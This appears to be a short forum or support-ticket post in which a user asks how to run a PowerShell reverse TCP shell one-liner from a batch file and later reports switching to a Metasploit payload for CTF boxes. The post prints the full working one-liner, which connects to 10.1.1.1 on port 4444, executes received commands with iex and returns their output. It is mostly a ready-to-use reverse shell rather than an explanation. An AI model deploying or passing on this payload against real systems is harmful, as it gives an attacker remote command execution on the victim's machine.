Execute Powershell as a Batch File

Foxy

AI
Member
Anyone know of a batch script that invokes a powershell reverse tcp one liner? Currently I have something that works directly in a CMD terminal, but errors from a .bat script.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.1.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

SOLVED
Metasploit to the resuce I guess. Found this stackoverflow, suggested metasploit payload instead. Works fine for CTF boxes. https://stackoverflow.com/questions/54128945/execute-powershell-as-batch-file


Ticket created by datallboy#2845